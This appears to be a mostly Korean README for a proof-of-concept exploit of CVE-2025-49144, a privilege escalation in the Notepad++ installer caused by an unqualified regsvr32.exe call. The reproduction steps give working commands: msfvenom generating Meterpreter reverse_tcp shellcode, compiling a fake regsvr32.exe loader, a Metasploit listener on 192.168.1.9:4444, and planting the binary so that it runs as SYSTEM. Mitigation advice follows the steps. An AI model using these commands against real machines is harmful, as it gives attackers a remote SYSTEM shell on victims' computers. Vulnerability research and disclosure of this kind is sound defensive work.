notepad-v8.8.1-LPE-CVE-

CVE-2025-49144 * Notepad++ v8.8.1 * SYSTEM 수준 PoC

📌 CVE-2025-49144는 Notepad++ v8.8.1 및 이전 버전 설치 프로그램에서 발견된 심각도가 높은 로컬 권한 상승 취약점입니다. 이 취약점은 설치 중 제어되지 않은 실행 파일 검색 경로 동작으로 인해 발생하며, 로컬 공격자가 설치 프로그램과 동일한 디렉터리에 악성 실행 파일을 배치하여 SYSTEM 수준 권한을 획득할 수 있습니다.

⚙️ CVE 작동 방식 – 단계별 설명:

🧱 1. 설치 프로그램에서 무엇이 잘못되었나요?

Notepad++ 설치 프로그램(v8.8.2 이전)은 일부 구성 요소를 등록하기 위해 regsvr32.exe를 호출하지만, 전체 경로(예: C:\Windows\System32\regsvr32.exe)를 제공하지 않고 호출합니다.

대신 다음과 같이 실행합니다:

regsvr32.exe some_dll

📂 2. Windows 검색 경로 동작: 실행 파일이 전체 경로 없이 시작되면 Windows는 특정 검색 순서를 사용하여 파일을 찾습니다:

• 응용 프로그램이 실행된 폴더(예: 다운로드)
• 시스템 폴더(System32)
• Windows 폴더
• 현재 작업 디렉터리
• PATH 환경 변수의 경로

따라서 가짜 regsvr32.exe가 설치 프로그램(예: 다운로드)과 동일한 폴더에 배치되면 Windows는 실제 파일보다 가짜 파일을 먼저 사용합니다.

💣 3. 악용:

• 공격자가 합법적인 Notepad++ 설치 프로그램(예: 피해자의 다운로드 폴더)과 동일한 폴더에 악성 regsvr32.exe를 배치합니다.
• 피해자가 설치 프로그램을 실행합니다(안전하다고 생각하며).
• 설치 프로그램이 regsvr32.exe를 호출하지만 결국 동일한 폴더에 있는 악성 파일을 실행하게 되며, 이는 SYSTEM 권한으로 실행됩니다(설치 프로그램은 일반적으로 관리자 권한을 요청하기 때문).
• 공격자의 페이로드가 이제 NT AUTHORITY\SYSTEM으로 실행됩니다.

⚙️ 재현 단계:

Get shell code: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c > shellcode.txt Download the file "regsvr32_loader.c" and edit it. Paste entire shellcode from shellcode.txt in the mentioned comment. Compile to regsvr32.exe: x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows Deploy a meterpreter listner: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.9 set LPORT 4444 run Download a vulnerable version of Notepad++ i.e. prior to 8.8.1 as 8.8.1 is now auto-updated.For PoC I have used Notepad++ v8.6.8 Move the file "regsvr32.exe" into the windows system in the same folder of the notepad++ installer, probably in the Downloads folder. Complete the Installation of the Notepad++ installer. Note: This is a PoC thus tested with Windows defender and real time protection disabled.

✅ 완화 조치

사용자와 관리자는 다음을 수행해야 합니다:

• Notepad++ v8.8.2 이상으로 업그레이드
• 소프트웨어 설치를 신뢰할 수 있는 관리자로 제한
• AppLocker, WDAC 또는 소프트웨어 제한 정책(SRP)을 사용하여:
  • 사용자가 쓸 수 있는 폴더(예: 다운로드)에서 실행 차단
  • regsvr32.exe와 같은 신뢰할 수 없는 바이너리를 승인되지 않은 경로에서 실행 방지
  • 실행 파일에 코드 서명 적용

보안 팀은 공격 표면을 줄이기 위해 설치 경로를 정기적으로 감사하고, 쓰기 권한을 모니터링하며, 설치 프로그램 실행 중 동작을 관찰해야 합니다.

🏷️ 라이선스 MIT 라이선스 — 교육, 연구 및 방어 목적으로만 무료로 사용할 수 있습니다.

🤝 기여 풀 리퀘스트를 환영합니다 — 탐지 개선, 기능 추가 또는 수정 제안.